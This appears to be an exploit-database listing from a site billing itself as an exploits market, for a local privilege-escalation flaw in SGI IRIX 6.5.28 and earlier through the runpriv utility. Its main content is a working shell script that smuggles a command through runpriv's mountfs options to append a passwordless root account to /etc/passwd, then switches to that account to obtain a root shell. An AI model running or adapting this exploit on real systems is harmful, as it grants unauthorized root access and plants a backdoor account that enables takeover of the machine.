[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

SGI IRIX <= 6.5.28 (runpriv) Design Error Vulnerability

Author
n/a
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-7489
Category
local exploits
Date add
09-10-2005
Platform
irix
=======================================================
SGI IRIX <= 6.5.28 (runpriv) Design Error Vulnerability
=======================================================

#!/bin/sh
# Advisory: http://www.idefense.com/intelligence/vulnerabilities/display.php?id=312

/usr/sysadm/bin/runpriv mountfs -s test -d / -o |
  "ksh -c 'echo r00t::0:0:r00t:/tmp:/bin/sh >> /etc/passwd'"
su r00t -c "chown root:sys /tmp/passwd123 ;
mv /tmp/passwd123 /etc/passwd ;
chmod 644 /etc/passwd ; su" 




#  0day.today [2024-11-16]  #